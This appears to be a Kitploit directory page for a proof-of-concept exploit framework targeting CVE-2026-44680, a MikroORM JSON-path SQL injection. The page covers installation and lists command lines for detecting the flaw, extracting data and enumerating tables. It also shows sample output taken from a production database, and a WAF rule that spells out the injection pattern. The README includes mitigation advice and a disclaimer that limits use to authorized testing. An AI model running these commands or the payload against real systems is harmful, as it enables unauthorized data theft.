Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework β€” PoC tool for CVE-2026-44680 affecting MikroORM ≀7.0.13. Exploits JSON path injection to extract database contents via UNION-based attacks. Features vulnerability detection, automated data extraction, table enumeration, and blind injection support. Includes proxy integration for Burp Suite and WAF evasion techniques. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework
Penetration Testing FrameworksVulnerability ScannersCode AnalysisExploitationWeb SecurityDatabase Security
GitHubcerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

View Repository
1373 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’

About

PoC tool for CVE-2026-44680 affecting MikroORM ≀7.0.13. Exploits JSON path injection to extract database contents via UNION-based attacks. Features vulnerability detection, automated data extraction, table enumeration, and blind injection support. Includes proxy integration for Burp Suite and WAF evasion techniques.

Share

CVE-2026-44680 - MikroORM SQL Injection Exploit Framework

Python Version License Status CVSS

Professional Proof-of-Concept Tool for Security Researchers


πŸ” Overview

CVE-2026-44680 is a critical SQL injection vulnerability affecting MikroORM, a popular TypeScript ORM for Node.js. This exploit framework provides security researchers and penetration testers with a professional tool to detect and exploit the vulnerability.

Author: Sudeepa Wanigarathna
Version: 1.0.0
Classification: Professional Security Research Tool


🚨 Vulnerability Details

AttributeValue
CVE IDCVE-2026-44680
CVSS Score7.6 (High)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow

Affected Versions

  • @mikro-orm/knex <= 6.6.13
  • @mikro-orm/sql <= 7.0.13

Root Cause

MikroORM fails to properly escape runtime-controlled JSON path keys when building JSON_EXTRACT queries. Attackers can break out of the JSON path context and inject arbitrary SQL code.


✨ Features

FeatureDescriptionStatus
Vulnerability DetectionTime-based & error-based detectionβœ…
Database ExtractionVersion, database, user, hostnameβœ…
Table EnumerationAuto-discovery of all tablesβœ…
UNION-Based InjectionExtract data via UNION SELECTβœ…
Blind InjectionBoolean-based character extractionβœ…
Proxy SupportBurp Suite / intercepting proxyβœ…
Report GenerationProfessional TXT reportsβœ…
WAF EvasionAdvanced obfuscation techniquesβœ…

πŸ“¦ Installation

Prerequisites

# Python 3.8 or higher
python3 --version

# pip package manager
pip --version

Installation Steps

Step 1: Clone the Repository

git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit

Step 2: Install Dependencies

# Using requirements.txt
pip install -r requirements.txt

# Or install manually
pip install requests colorama tqdm urllib3 simplejson

Step 3: Verify Installation

python exploit.py --help

requirements.txt

requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0

πŸš€ Quick Start

Basic Usage

# Full exploitation
python exploit.py -u http://localhost:3000

# Vulnerability detection only
python exploit.py -u http://target.com --detect

# Extract database information
python exploit.py -u http://target.com --extract

# Enumerate tables
python exploit.py -u http://target.com --enumerate

πŸ“– Usage Guide

Command Options

FlagDescriptionDefault
-u, --urlTarget URL (required)-
-e, --endpointAPI endpoint/api/users/search
-p, --proxyHTTP proxyNone
-v, --verboseVerbose outputFalse
--detectDetect vulnerability onlyFalse
--extractExtract database infoFalse
--enumerateEnumerate tablesFalse
--blindBlind injection modeFalse

Example Commands

1. Full Exploitation

python exploit.py -u http://192.168.1.100:3000

2. Custom Endpoint

python exploit.py -u http://target.com -e /api/v2/users/query

3. With Proxy (Burp Suite)

python exploit.py -u http://target.com -p http://127.0.0.1:8080

4. Verbose Debugging

python exploit.py -u http://target.com -v --extract

5. Blind Injection

python exploit.py -u http://target.com --blind

6. Detection Only

python exploit.py -u http://target.com --detect

7. Extract Database Info

python exploit.py -u http://target.com --extract

8. Enumerate Tables

python exploit.py -u http://target.com --enumerate

πŸ“Š Output Examples

Console Output

============================================================
  MikroORM CVE-2026-44680 Exploitation Framework
  Author: Sudeepa Wanigarathna
============================================================

[*] Performing vulnerability detection on /api/users/search
[+] Vulnerable to time-based SQL injection

[+] Vulnerability confirmed!

[*] Extracting database information...
[*] Enumerating tables...
[+] Found table: users
[+] Found table: products
[+] Found table: orders
[+] Found table: payments
[+] Found table: admin

===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
Author: Sudeepa Wanigarathna (Security Researcher)
Date: 2026-07-20 14:30:45
Target: http://localhost:3000

[*] VULNERABILITY DETAILS
    - CVE: CVE-2026-44680
    - CVSS Score: 7.6 (High)
    - Affected Components: @mikro-orm/knex <= 6.6.13

[*] DATABASE INFORMATION
    - Version: 10.11.6-MariaDB
    - Database: production_db
    - User: root@localhost
    - Hostname: localhost

[*] ENUMERATED TABLES (5 found)
    1. users
    2. products
    3. orders
    4. payments
    5. admin

[+] Report saved to exploit_report_1742493645.txt
[+] Table list saved to tables_1742493645.txt

Generated Files

exploit_report_1742493645.txt  # Complete exploitation report
tables_1742493645.txt          # List of discovered tables

πŸ›‘οΈ Mitigation

Immediate Actions

1. Update MikroORM

npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest

2. Input Validation

const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];

function validateJsonPath(key) {
    if (!ALLOWED_JSON_PATHS.includes(key)) {
        throw new Error('Invalid JSON path');
    }
    return key;
}

3. WAF Rules

# Block suspicious JSON path patterns
"filterField": "\$\.x'\) OR .* -- "

4. Database Hardening

  • Apply least privilege principle
  • Use separate database users
  • Implement query logging
  • Enable SQL injection detection

⚠️ Disclaimer

IMPORTANT: This tool is for authorized security testing and educational purposes only.

Legal Notice

  • βœ… You MUST have explicit permission before testing any system
  • βœ… You are responsible for any damage caused by misuse
  • βœ… Use ethically and report vulnerabilities responsibly

Ethical Use Guidelines

  1. Authorization: Obtain written permission from system owner
  2. Reporting: Report findings to affected vendors responsibly
  3. Confidentiality: Do not disclose vulnerabilities until patched
  4. Limitations: Stay within scope of authorized testing

πŸ“„ License

This project is licensed under the MIT License.

MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
...

πŸ“š References

  • CVE-2026-44680 Details
  • MikroORM Security Advisory
  • OWASP SQL Injection Prevention

Made with ❀️ for the Security Research Community

Download Tool